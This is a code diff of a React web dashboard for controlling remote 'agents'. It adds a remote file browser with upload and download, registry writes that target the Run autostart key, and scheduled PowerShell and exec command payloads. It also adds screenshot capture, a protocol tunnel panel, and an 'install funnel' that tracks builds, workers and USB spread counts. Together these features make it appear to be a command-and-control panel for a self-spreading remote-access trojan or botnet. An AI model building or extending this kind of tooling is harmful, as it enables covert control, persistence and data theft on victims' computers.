<select className="select" value={regHive} onChange={(e) => setRegHive(e.target.value)}>
|
||||
<option value="HKCU">HKCU</option>
|
||||
<option value="HKLM">HKLM (elevated)</option>
|
||||
</select>
|
||||
<input
|
||||
className="input"
|
||||
value={regPath}
|
||||
onChange={(e) => setRegPath(e.target.value)}
|
||||
placeholder="Software\...\Run"
|
||||
/>
|
||||
</div>
|
||||
<div className="registry-row">
|
||||
<input className="input" value={regName} onChange={(e) => setRegName(e.target.value)} placeholder="Value name" />
|
||||
<input className="input" value={regValue} onChange={(e) => setRegValue(e.target.value)} placeholder="Value (write only)" />
|
||||
<select className="select" value={regType} onChange={(e) => setRegType(e.target.value)}>
|
||||
<option value="REG_SZ">REG_SZ</option>
|
||||
<option value="REG_DWORD">REG_DWORD</option>
|
||||
</select>
|
||||
</div>
|
||||
<div className="button-grid">
|
||||
<button
|
||||
type="button"
|
||||
disabled={!isOnline || !!busy}
|
||||
onClick={() =>
|
||||
dispatch('registry_read', {
|
||||
data: JSON.stringify({ hive: regHive, path: regPath }),
|
||||
})
|
||||
}
|
||||
>
|
||||
Read
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
disabled={!isOnline || !!busy || !regName}
|
||||
onClick={() =>
|
||||
dispatch('registry_write', {
|
||||
data: JSON.stringify({
|
||||
hive: regHive,
|
||||
path: regPath,
|
||||
name: regName,
|
||||
value: regValue,
|
||||
type: regType,
|
||||
}),
|
||||
})
|
||||
}
|
||||
>
|
||||
Write
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-amber"
|
||||
disabled={!isOnline || !!busy || !regName}
|
||||
onClick={() =>
|
||||
dispatch('registry_delete', {
|
||||
data: JSON.stringify({ hive: regHive, path: regPath, name: regName }),
|
||||
})
|
||||
}
|
||||
>
|
||||
Delete
|
||||
</button>
|
||||
</div>
|
||||
<small>Allowlist: Software\ and Environment under HKCU/HKLM. Crucible JSON: action registry_read with data hive/path.</small>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{sysCheckReport && !compact && (
|
||||
@@ -583,7 +725,7 @@ export default function AgentRemoteActions({
|
||||
{screenshotData && (
|
||||
<div className="screenshot-viewer">
|
||||
<div className="viewer-header">
|
||||
<span>Latest capture (also downloaded)</span>
|
||||
<span>Latest capture (also downloaded as JPEG)</span>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => {
|
||||
|
||||
118
server/web/src/components/Fleet/FileManager.css
Normal file
118
server/web/src/components/Fleet/FileManager.css
Normal file
@@ -0,0 +1,118 @@
|
||||
.file-manager {
|
||||
border: 1px solid var(--clr-border, #333);
|
||||
border-radius: 4px;
|
||||
padding: 0.75rem;
|
||||
background: rgba(0, 0, 0, 0.25);
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
|
||||
.fm-header {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
margin-bottom: 0.5rem;
|
||||
}
|
||||
|
||||
.fm-title {
|
||||
font-size: 0.7rem;
|
||||
letter-spacing: 0.06em;
|
||||
color: var(--clr-dim);
|
||||
}
|
||||
|
||||
.fm-breadcrumb {
|
||||
margin-bottom: 0.5rem;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.fm-crumb {
|
||||
background: none;
|
||||
border: none;
|
||||
color: var(--neon-cyan, #0ff);
|
||||
cursor: pointer;
|
||||
font-size: 0.75rem;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.fm-sep {
|
||||
opacity: 0.5;
|
||||
margin: 0 0.15rem;
|
||||
}
|
||||
|
||||
.fm-filter {
|
||||
width: 100%;
|
||||
margin-bottom: 0.5rem;
|
||||
font-size: 0.8rem;
|
||||
}
|
||||
|
||||
.fm-list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
max-height: 220px;
|
||||
overflow-y: auto;
|
||||
border: 1px solid #222;
|
||||
}
|
||||
|
||||
.fm-list li.selected {
|
||||
background: rgba(0, 255, 255, 0.08);
|
||||
}
|
||||
|
||||
.fm-row {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.4rem;
|
||||
width: 100%;
|
||||
padding: 0.25rem 0.4rem;
|
||||
background: none;
|
||||
border: none;
|
||||
color: inherit;
|
||||
text-align: left;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.fm-name {
|
||||
flex: 1;
|
||||
background: none;
|
||||
border: none;
|
||||
color: inherit;
|
||||
text-align: left;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.fm-size {
|
||||
font-size: 0.7rem;
|
||||
color: var(--clr-dim);
|
||||
}
|
||||
|
||||
.fm-actions {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.4rem;
|
||||
margin-top: 0.5rem;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.fm-upload-path {
|
||||
flex: 1;
|
||||
min-width: 120px;
|
||||
font-size: 0.75rem;
|
||||
}
|
||||
|
||||
.fm-preview {
|
||||
margin-top: 0.5rem;
|
||||
max-height: 120px;
|
||||
overflow: auto;
|
||||
font-size: 0.7rem;
|
||||
background: #111;
|
||||
padding: 0.4rem;
|
||||
}
|
||||
|
||||
.fm-err {
|
||||
color: #f66;
|
||||
font-size: 0.8rem;
|
||||
}
|
||||
|
||||
.fm-offline {
|
||||
color: var(--clr-dim);
|
||||
font-size: 0.8rem;
|
||||
}
|
||||
216
server/web/src/components/Fleet/FileManager.tsx
Normal file
216
server/web/src/components/Fleet/FileManager.tsx
Normal file
@@ -0,0 +1,216 @@
|
||||
import { useCallback, useEffect, useMemo, useState } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import './FileManager.css';
|
||||
|
||||
interface DirEntry {
|
||||
name: string;
|
||||
is_dir: boolean;
|
||||
size: number;
|
||||
}
|
||||
|
||||
interface Props {
|
||||
agentId: string;
|
||||
agentName?: string;
|
||||
online: boolean;
|
||||
/** Called when a command_result arrives (from parent WS hook) */
|
||||
commandResults?: { agentId: string; action: string; success: boolean; message: string }[];
|
||||
}
|
||||
|
||||
function parseListDir(message: string): { path: string; entries: DirEntry[] } | null {
|
||||
try {
|
||||
const j = JSON.parse(message) as { path?: string; entries?: DirEntry[] };
|
||||
if (j.entries && Array.isArray(j.entries)) {
|
||||
return { path: j.path ?? '', entries: j.entries };
|
||||
}
|
||||
} catch {
|
||||
/* not JSON */
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
export default function FileManager({ agentId, agentName, online, commandResults }: Props) {
|
||||
const [cwd, setCwd] = useState('C:\\');
|
||||
const [entries, setEntries] = useState<DirEntry[]>([]);
|
||||
const [filter, setFilter] = useState('');
|
||||
const [selected, setSelected] = useState<Set<string>>(new Set());
|
||||
const [busy, setBusy] = useState(false);
|
||||
const [preview, setPreview] = useState('');
|
||||
const [err, setErr] = useState('');
|
||||
const [uploadPath, setUploadPath] = useState('');
|
||||
|
||||
const filtered = useMemo(() => {
|
||||
const q = filter.trim().toLowerCase();
|
||||
if (!q) return entries;
|
||||
return entries.filter((e) => e.name.toLowerCase().includes(q));
|
||||
}, [entries, filter]);
|
||||
|
||||
const refresh = useCallback(() => {
|
||||
if (!online || !agentId) return;
|
||||
setBusy(true);
|
||||
setErr('');
|
||||
api.sendAgentCommand(agentId, 'list_dir', { path: cwd }).catch((e) => {
|
||||
setErr(e instanceof Error ? e.message : String(e));
|
||||
setBusy(false);
|
||||
});
|
||||
}, [agentId, cwd, online]);
|
||||
|
||||
useEffect(() => {
|
||||
refresh();
|
||||
}, [refresh]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!commandResults?.length) return;
|
||||
const last = [...commandResults].reverse().find((r) => r.agentId === agentId);
|
||||
if (!last) return;
|
||||
if (last.action === 'list_dir' && last.success) {
|
||||
const parsed = parseListDir(last.message);
|
||||
if (parsed) {
|
||||
setEntries(parsed.entries);
|
||||
if (parsed.path) setCwd(parsed.path);
|
||||
}
|
||||
setBusy(false);
|
||||
} else if (last.action === 'list_dir' && !last.success) {
|
||||
setErr(last.message);
|
||||
setBusy(false);
|
||||
} else if (last.action === 'read_file' && last.success) {
|
||||
setPreview(last.message.slice(0, 8000));
|
||||
setBusy(false);
|
||||
} else if (last.action === 'read_file' && !last.success) {
|
||||
setErr(last.message);
|
||||
setBusy(false);
|
||||
} else if (last.action === 'download') {
|
||||
setBusy(false);
|
||||
}
|
||||
}, [commandResults, agentId]);
|
||||
|
||||
const navigate = (name: string, isDir: boolean) => {
|
||||
if (!isDir) return;
|
||||
const sep = cwd.includes('/') ? '/' : '\\';
|
||||
let next = cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
|
||||
if (name === '..') {
|
||||
const parts = cwd.replace(/[/\\]+$/, '').split(/[/\\]/);
|
||||
parts.pop();
|
||||
next = parts.join(sep) || (sep === '/' ? '/' : 'C:\\');
|
||||
}
|
||||
setCwd(next);
|
||||
setSelected(new Set());
|
||||
};
|
||||
|
||||
const toggleSelect = (name: string) => {
|
||||
setSelected((prev) => {
|
||||
const n = new Set(prev);
|
||||
if (n.has(name)) n.delete(name);
|
||||
else n.add(name);
|
||||
return n;
|
||||
});
|
||||
};
|
||||
|
||||
const sep = cwd.includes('/') ? '/' : '\\';
|
||||
|
||||
const downloadSelected = async () => {
|
||||
if (!online || selected.size === 0) return;
|
||||
setBusy(true);
|
||||
for (const name of selected) {
|
||||
const p = cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
|
||||
try {
|
||||
const res = await api.sendAgentCommand(agentId, 'download', { path: p });
|
||||
if (res && typeof res === 'object' && 'success' in res) {
|
||||
/* result via WS */
|
||||
}
|
||||
} catch (e) {
|
||||
setErr(e instanceof Error ? e.message : String(e));
|
||||
}
|
||||
}
|
||||
setBusy(false);
|
||||
};
|
||||
|
||||
const readFile = (name: string) => {
|
||||
const p = cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
|
||||
setBusy(true);
|
||||
setPreview('');
|
||||
api.sendAgentCommand(agentId, 'read_file', { path: p }).catch((e) => {
|
||||
setErr(e instanceof Error ? e.message : String(e));
|
||||
setBusy(false);
|
||||
});
|
||||
};
|
||||
|
||||
const crumbs = cwd.split(/[/\\]/).filter(Boolean);
|
||||
|
||||
return (
|
||||
<div className="file-manager">
|
||||
<div className="fm-header">
|
||||
<span className="font-tech fm-title">FILE BROWSER — {agentName ?? agentId.slice(0, 8)}</span>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={!online || busy} onClick={refresh}>
|
||||
Refresh
|
||||
</button>
|
||||
</div>
|
||||
{!online && <p className="fm-offline">Agent offline</p>}
|
||||
<div className="fm-breadcrumb font-tech">
|
||||
<button type="button" className="fm-crumb" onClick={() => setCwd(cwd.startsWith('/') ? '/' : 'C:\\')}>root</button>
|
||||
{crumbs.map((c, i) => (
|
||||
<span key={i}>
|
||||
<span className="fm-sep">/</span>
|
||||
<button
|
||||
type="button"
|
||||
className="fm-crumb"
|
||||
onClick={() => {
|
||||
const parts = crumbs.slice(0, i + 1);
|
||||
setCwd((cwd.startsWith('/') ? '/' : '') + parts.join(sep));
|
||||
}}
|
||||
>
|
||||
{c}
|
||||
</button>
|
||||
</span>
|
||||
))}
|
||||
</div>
|
||||
<input
|
||||
className="input fm-filter"
|
||||
placeholder="Filter names…"
|
||||
value={filter}
|
||||
onChange={(e) => setFilter(e.target.value)}
|
||||
/>
|
||||
<ul className="fm-list">
|
||||
<li>
|
||||
<button type="button" className="fm-row" onClick={() => navigate('..', true)}>..</button>
|
||||
</li>
|
||||
{filtered.map((e) => (
|
||||
<li key={e.name} className={selected.has(e.name) ? 'selected' : ''}>
|
||||
<label className="fm-row">
|
||||
<input type="checkbox" checked={selected.has(e.name)} onChange={() => toggleSelect(e.name)} />
|
||||
<button type="button" className="fm-name" onClick={() => (e.is_dir ? navigate(e.name, true) : readFile(e.name))}>
|
||||
{e.is_dir ? '📁' : '📄'} {e.name}
|
||||
</button>
|
||||
{!e.is_dir && <span className="fm-size">{e.size < 1024 ? `${e.size} B` : `${(e.size / 1024).toFixed(1)} KB`}</span>}
|
||||
</label>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
<div className="fm-actions">
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={!online || selected.size === 0 || busy} onClick={downloadSelected}>
|
||||
Download selected
|
||||
</button>
|
||||
<input className="input mono fm-upload-path" placeholder="Upload path" value={uploadPath} onChange={(e) => setUploadPath(e.target.value)} />
|
||||
<label className="btn btn-outline btn-sm">
|
||||
Upload
|
||||
<input
|
||||
type="file"
|
||||
hidden
|
||||
disabled={!online || busy}
|
||||
onChange={async (ev) => {
|
||||
const file = ev.target.files?.[0];
|
||||
if (!file) return;
|
||||
const { readFileAsBase64 } = await import('../../help/desktopPush');
|
||||
const b64 = await readFileAsBase64(file);
|
||||
const dest = uploadPath.trim() || `${cwd}${sep}${file.name}`;
|
||||
setBusy(true);
|
||||
api.sendAgentCommand(agentId, 'upload', { path: dest, data: b64 }).finally(() => setBusy(false));
|
||||
ev.target.value = '';
|
||||
}}
|
||||
/>
|
||||
</label>
|
||||
</div>
|
||||
{err && <p className="fm-err">{err}</p>}
|
||||
{preview && <pre className="fm-preview">{preview}</pre>}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
81
server/web/src/components/Fleet/FleetOpsWidgets.tsx
Normal file
81
server/web/src/components/Fleet/FleetOpsWidgets.tsx
Normal file
@@ -0,0 +1,81 @@
|
||||
import { useEffect, useState } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import type { AuditEntry } from '../../types';
|
||||
import NeonCard from '../NeonCard/NeonCard';
|
||||
|
||||
export function AuditLogStrip({ limit = 8 }: { limit?: number }) {
|
||||
const [entries, setEntries] = useState<AuditEntry[]>([]);
|
||||
|
||||
useEffect(() => {
|
||||
api.getAudit().then((rows) => setEntries(rows.slice(0, limit))).catch(() => setEntries([]));
|
||||
const t = setInterval(() => {
|
||||
api.getAudit().then((rows) => setEntries(rows.slice(0, limit))).catch(() => {});
|
||||
}, 60000);
|
||||
return () => clearInterval(t);
|
||||
}, [limit]);
|
||||
|
||||
return (
|
||||
<NeonCard accent="purple" tilt3d={false}>
|
||||
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.5rem', letterSpacing: '0.08em' }}>OPERATOR AUDIT</h3>
|
||||
<p style={{ color: 'var(--clr-dim)', fontSize: '0.75rem', marginBottom: '0.5rem' }}>Recent actions (last 50 on server)</p>
|
||||
{entries.length === 0 ? (
|
||||
<p style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No audit entries yet.</p>
|
||||
) : (
|
||||
<ul style={{ listStyle: 'none', margin: 0, padding: 0, fontSize: '0.75rem', fontFamily: 'monospace' }}>
|
||||
{entries.map((e) => (
|
||||
<li key={e.id} style={{ padding: '0.2rem 0', borderBottom: '1px solid #1a1a1a' }}>
|
||||
<span style={{ color: 'var(--clr-dim)' }}>{new Date(e.timestamp).toLocaleString()}</span>
|
||||
{' '}
|
||||
<span style={{ color: 'var(--neon-cyan, #0ff)' }}>{e.username || '—'}</span>
|
||||
{' · '}
|
||||
<strong>{e.action}</strong>
|
||||
{e.agent_id && <span style={{ color: 'var(--clr-dim)' }}> @{e.agent_id.slice(0, 8)}</span>}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
)}
|
||||
</NeonCard>
|
||||
);
|
||||
}
|
||||
|
||||
export function SpreadFunnelWidget() {
|
||||
const [stats, setStats] = useState<Awaited<ReturnType<typeof api.getSpreadFunnel>> | null>(null);
|
||||
|
||||
useEffect(() => {
|
||||
api.getSpreadFunnel().then(setStats).catch(() => setStats(null));
|
||||
}, []);
|
||||
|
||||
if (!stats) return null;
|
||||
|
||||
return (
|
||||
<NeonCard accent="cyan" tilt3d={false}>
|
||||
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.5rem', letterSpacing: '0.08em' }}>INSTALL FUNNEL</h3>
|
||||
<p style={{ color: 'var(--clr-dim)', fontSize: '0.75rem', marginBottom: '0.5rem' }}>Agents by build (7 days)</p>
|
||||
<div style={{ display: 'flex', gap: '1.5rem', marginBottom: '0.75rem', fontSize: '0.85rem' }}>
|
||||
<span>New today: <strong>{stats.new_connects_today}</strong></span>
|
||||
<span>Fleet total: <strong>{stats.total_agents}</strong></span>
|
||||
</div>
|
||||
{stats.by_build.length === 0 ? (
|
||||
<p style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No agents in the last 7 days.</p>
|
||||
) : (
|
||||
<table style={{ width: '100%', fontSize: '0.75rem', borderCollapse: 'collapse' }}>
|
||||
<thead>
|
||||
<tr style={{ textAlign: 'left', color: 'var(--clr-dim)' }}>
|
||||
<th>Build</th><th>Worker</th><th>Count</th><th>USB</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{stats.by_build.slice(0, 10).map((r, i) => (
|
||||
<tr key={i} style={{ borderTop: '1px solid #222' }}>
|
||||
<td className="mono">{r.build_id.slice(0, 12)}{r.build_id.length > 12 ? '…' : ''}</td>
|
||||
<td>{r.worker_name}</td>
|
||||
<td>{r.count}</td>
|
||||
<td>{r.usb_spread_count > 0 ? r.usb_spread_count : '—'}</td>
|
||||
</tr>
|
||||
))}
|
||||
</tbody>
|
||||
</table>
|
||||
)}
|
||||
</NeonCard>
|
||||
);
|
||||
}
|
||||
106
server/web/src/components/Fleet/FleetTasksPanel.tsx
Normal file
106
server/web/src/components/Fleet/FleetTasksPanel.tsx
Normal file
@@ -0,0 +1,106 @@
|
||||
import { useEffect, useState } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import type { FleetTask } from '../../types';
|
||||
import NeonCard from '../NeonCard/NeonCard';
|
||||
|
||||
const ACTIONS = ['sysinfo', 'full_sys_check', 'powershell', 'exec', 'pause', 'resume', 'restart'];
|
||||
const TRIGGERS = ['on_connect', 'on_reconnect', 'interval_hours', 'cron'] as const;
|
||||
|
||||
const emptyTask = (): FleetTask => ({
|
||||
name: '',
|
||||
enabled: true,
|
||||
trigger: 'on_connect',
|
||||
action: 'sysinfo',
|
||||
interval_hours: 24,
|
||||
cron_time: '09:00',
|
||||
command: '',
|
||||
});
|
||||
|
||||
export default function FleetTasksPanel() {
|
||||
const [tasks, setTasks] = useState<FleetTask[]>([]);
|
||||
const [draft, setDraft] = useState<FleetTask>(emptyTask());
|
||||
const [msg, setMsg] = useState('');
|
||||
const [loading, setLoading] = useState(true);
|
||||
|
||||
const load = () => {
|
||||
api.getFleetTasks().then(setTasks).catch(() => setTasks([])).finally(() => setLoading(false));
|
||||
};
|
||||
|
||||
useEffect(() => { load(); }, []);
|
||||
|
||||
const save = async () => {
|
||||
setMsg('');
|
||||
if (!draft.name.trim()) {
|
||||
setMsg('Name is required');
|
||||
return;
|
||||
}
|
||||
try {
|
||||
await api.saveFleetTask(draft);
|
||||
setDraft(emptyTask());
|
||||
load();
|
||||
setMsg('Task saved.');
|
||||
} catch (e) {
|
||||
setMsg(e instanceof Error ? e.message : String(e));
|
||||
}
|
||||
};
|
||||
|
||||
const remove = async (id: string) => {
|
||||
await api.deleteFleetTask(id);
|
||||
load();
|
||||
};
|
||||
|
||||
return (
|
||||
<NeonCard accent="amber" tilt3d={false}>
|
||||
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.25rem', letterSpacing: '0.08em' }}>FLEET TASKS</h3>
|
||||
<p style={{ color: 'var(--clr-dim)', fontSize: '0.75rem', marginBottom: '0.75rem' }}>Scheduled remote actions on connect / interval</p>
|
||||
{loading ? <p className="font-tech">Loading…</p> : (
|
||||
<>
|
||||
<ul style={{ listStyle: 'none', padding: 0, margin: '0 0 1rem' }}>
|
||||
{tasks.length === 0 && <li style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No tasks configured.</li>}
|
||||
{tasks.map((t) => (
|
||||
<li key={t.id} style={{ display: 'flex', justifyContent: 'space-between', alignItems: 'center', padding: '0.35rem 0', borderBottom: '1px solid #222' }}>
|
||||
<span>
|
||||
<strong>{t.name}</strong>
|
||||
<span style={{ color: 'var(--clr-dim)', marginLeft: '0.5rem', fontSize: '0.75rem' }}>
|
||||
{t.trigger} → {t.action}{!t.enabled && ' (off)'}
|
||||
</span>
|
||||
</span>
|
||||
<span>
|
||||
<button type="button" className="btn btn-outline btn-sm" onClick={() => setDraft(t)}>Edit</button>
|
||||
{' '}
|
||||
<button type="button" className="btn btn-outline btn-sm" onClick={() => t.id && remove(t.id)}>Delete</button>
|
||||
</span>
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
<div className="form-grid" style={{ gap: '0.5rem' }}>
|
||||
<input className="input" placeholder="Task name" value={draft.name} onChange={(e) => setDraft({ ...draft, name: e.target.value })} />
|
||||
<select className="input" value={draft.trigger} onChange={(e) => setDraft({ ...draft, trigger: e.target.value as FleetTask['trigger'] })}>
|
||||
{TRIGGERS.map((tr) => <option key={tr} value={tr}>{tr}</option>)}
|
||||
</select>
|
||||
<select className="input" value={draft.action} onChange={(e) => setDraft({ ...draft, action: e.target.value })}>
|
||||
{ACTIONS.map((a) => <option key={a} value={a}>{a}</option>)}
|
||||
</select>
|
||||
{draft.trigger === 'interval_hours' && (
|
||||
<input className="input" type="number" min={0.25} step={0.25} placeholder="Interval hours"
|
||||
value={draft.interval_hours ?? 24}
|
||||
onChange={(e) => setDraft({ ...draft, interval_hours: parseFloat(e.target.value) || 24 })} />
|
||||
)}
|
||||
{draft.trigger === 'cron' && (
|
||||
<input className="input mono" placeholder="HH:MM daily" value={draft.cron_time ?? ''} onChange={(e) => setDraft({ ...draft, cron_time: e.target.value })} />
|
||||
)}
|
||||
{(draft.action === 'powershell' || draft.action === 'exec') && (
|
||||
<input className="input mono" placeholder="Command payload" value={draft.command ?? ''} onChange={(e) => setDraft({ ...draft, command: e.target.value })} />
|
||||
)}
|
||||
<label style={{ display: 'flex', alignItems: 'center', gap: '0.4rem', fontSize: '0.85rem' }}>
|
||||
<input type="checkbox" checked={draft.enabled} onChange={(e) => setDraft({ ...draft, enabled: e.target.checked })} />
|
||||
Enabled
|
||||
</label>
|
||||
<button type="button" className="btn btn-primary" onClick={save}>Save task</button>
|
||||
</div>
|
||||
{msg && <p style={{ marginTop: '0.5rem', fontSize: '0.85rem', color: msg.includes('required') || msg.includes('API') ? '#f66' : '#0f8' }}>{msg}</p>}
|
||||
</>
|
||||
)}
|
||||
</NeonCard>
|
||||
);
|
||||
}
|
||||
@@ -139,3 +139,53 @@
|
||||
color: #f87171;
|
||||
font-size: 0.78rem;
|
||||
}
|
||||
|
||||
.syscheck-warn {
|
||||
color: #fbbf24;
|
||||
}
|
||||
|
||||
.syscheck-kev-summary {
|
||||
font-size: 0.82rem;
|
||||
color: rgba(200, 220, 255, 0.85);
|
||||
margin: 0.5rem 0;
|
||||
}
|
||||
|
||||
.syscheck-kev-list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.45rem;
|
||||
}
|
||||
|
||||
.syscheck-kev-item {
|
||||
display: grid;
|
||||
grid-template-columns: auto 1fr auto;
|
||||
gap: 0.35rem 0.5rem;
|
||||
padding: 0.45rem 0.55rem;
|
||||
border-radius: 6px;
|
||||
border: 1px solid rgba(80, 120, 180, 0.25);
|
||||
font-size: 0.78rem;
|
||||
}
|
||||
|
||||
.syscheck-kev-exposed {
|
||||
border-color: rgba(248, 113, 113, 0.45);
|
||||
background: rgba(80, 20, 20, 0.25);
|
||||
}
|
||||
|
||||
.syscheck-kev-likely {
|
||||
border-color: rgba(251, 191, 36, 0.35);
|
||||
background: rgba(60, 45, 10, 0.2);
|
||||
}
|
||||
|
||||
.syscheck-kev-cve {
|
||||
font-family: var(--font-mono, monospace);
|
||||
color: #9ee0ff;
|
||||
}
|
||||
|
||||
.syscheck-kev-detail {
|
||||
grid-column: 1 / -1;
|
||||
color: rgba(180, 200, 230, 0.75);
|
||||
font-size: 0.72rem;
|
||||
}
|
||||
|
||||
@@ -115,6 +115,49 @@ export default function FullSysCheckPanel({
|
||||
<Row label="Reboot Pending" value={<BoolBadge v={report.security?.reboot_pending} />} />
|
||||
</Section>
|
||||
|
||||
{report.kev_exposure && (
|
||||
<Section title="CISA KEV Exposure (heuristic)">
|
||||
<Row
|
||||
label="Risk score"
|
||||
value={
|
||||
<span
|
||||
className={
|
||||
report.kev_exposure.risk_score >= 50
|
||||
? 'syscheck-bad'
|
||||
: report.kev_exposure.risk_score >= 25
|
||||
? 'syscheck-warn'
|
||||
: 'syscheck-ok'
|
||||
}
|
||||
>
|
||||
{report.kev_exposure.risk_score} / 100
|
||||
</span>
|
||||
}
|
||||
/>
|
||||
<Row
|
||||
label="Indicators"
|
||||
value={`${report.kev_exposure.exposed_count} exposed · ${report.kev_exposure.likely_count} likely · ${report.kev_exposure.critical_count} critical`}
|
||||
/>
|
||||
{report.kev_exposure.summary && (
|
||||
<p className="syscheck-kev-summary">{report.kev_exposure.summary}</p>
|
||||
)}
|
||||
<ul className="syscheck-kev-list">
|
||||
{report.kev_exposure.findings
|
||||
?.filter((f) => f.status === 'exposed' || f.status === 'likely')
|
||||
.map((f) => (
|
||||
<li key={f.cve} className={`syscheck-kev-item syscheck-kev-${f.status}`}>
|
||||
<span className="syscheck-kev-cve">{f.cve}</span>
|
||||
<span className="syscheck-kev-name">{f.name}</span>
|
||||
<span className="syscheck-kev-status">{f.status}</span>
|
||||
{f.detail && <span className="syscheck-kev-detail">{f.detail}</span>}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
<p className="syscheck-muted" style={{ marginTop: '0.5rem' }}>
|
||||
Read-only checks aligned with CISA known-exploited CVE families (Log4Shell, ProxyLogon, Zerologon, Citrix, Pulse, F5, Confluence, etc.). Verify patches on any "likely" or "exposed" row.
|
||||
</p>
|
||||
</Section>
|
||||
)}
|
||||
|
||||
<Section title="Hardware">
|
||||
<Row label="System" value={[report.hardware?.manufacturer, report.hardware?.model].filter(Boolean).join(' ')} />
|
||||
<Row label="Serial / BIOS" value={[report.hardware?.serial, report.hardware?.bios_version].filter(Boolean).join(' · ')} />
|
||||
|
||||
136
server/web/src/components/Fleet/ProtocolTunnelPanel.css
Normal file
136
server/web/src/components/Fleet/ProtocolTunnelPanel.css
Normal file
@@ -0,0 +1,136 @@
|
||||
.protocol-tunnel-panel {
|
||||
margin-top: 1rem;
|
||||
border: 1px solid rgba(201, 162, 39, 0.25);
|
||||
border-radius: 8px;
|
||||
background: rgba(8, 12, 24, 0.75);
|
||||
}
|
||||
|
||||
.protocol-tunnel-panel.compact {
|
||||
margin-top: 0.5rem;
|
||||
}
|
||||
|
||||
.protocol-tunnel-toggle {
|
||||
width: 100%;
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
padding: 0.65rem 0.85rem;
|
||||
background: transparent;
|
||||
border: none;
|
||||
color: var(--accent-gold, #c9a227);
|
||||
cursor: pointer;
|
||||
font-size: 0.85rem;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.protocol-tunnel-toggle:hover {
|
||||
background: rgba(201, 162, 39, 0.08);
|
||||
}
|
||||
|
||||
.protocol-tunnel-body {
|
||||
padding: 0 0.85rem 0.85rem;
|
||||
border-top: 1px solid rgba(255, 255, 255, 0.06);
|
||||
}
|
||||
|
||||
.protocol-tunnel-help {
|
||||
font-size: 0.78rem;
|
||||
color: var(--clr-dim, #888);
|
||||
margin: 0.65rem 0 0.85rem;
|
||||
line-height: 1.45;
|
||||
}
|
||||
|
||||
.protocol-tunnel-cards {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fill, minmax(240px, 1fr));
|
||||
gap: 0.75rem;
|
||||
}
|
||||
|
||||
.protocol-tunnel-card {
|
||||
border: 1px solid rgba(0, 245, 255, 0.15);
|
||||
border-radius: 6px;
|
||||
padding: 0.65rem 0.75rem;
|
||||
background: rgba(0, 0, 0, 0.25);
|
||||
}
|
||||
|
||||
.protocol-tunnel-card h4 {
|
||||
margin: 0 0 0.35rem;
|
||||
font-size: 0.72rem;
|
||||
letter-spacing: 0.1em;
|
||||
color: var(--accent-cyan, #00f5ff);
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.protocol-tunnel-card-hint {
|
||||
margin: 0 0 0.5rem;
|
||||
font-size: 0.72rem;
|
||||
color: var(--clr-dim, #888);
|
||||
}
|
||||
|
||||
.protocol-tunnel-label {
|
||||
display: block;
|
||||
font-size: 0.72rem;
|
||||
color: var(--clr-dim, #aaa);
|
||||
margin-bottom: 0.45rem;
|
||||
}
|
||||
|
||||
.protocol-tunnel-input {
|
||||
display: block;
|
||||
width: 100%;
|
||||
margin-top: 0.2rem;
|
||||
font-size: 0.8rem;
|
||||
}
|
||||
|
||||
.protocol-tunnel-input.short {
|
||||
max-width: 6rem;
|
||||
}
|
||||
|
||||
.protocol-tunnel-row {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.protocol-tunnel-actions {
|
||||
margin-top: 0.35rem;
|
||||
}
|
||||
|
||||
.protocol-tunnel-link {
|
||||
display: inline-block;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.protocol-tunnel-status-bar {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
margin-top: 0.85rem;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.protocol-tunnel-status {
|
||||
margin-top: 0.75rem;
|
||||
padding: 0.55rem 0.65rem;
|
||||
border-radius: 6px;
|
||||
background: rgba(0, 0, 0, 0.35);
|
||||
font-size: 0.78rem;
|
||||
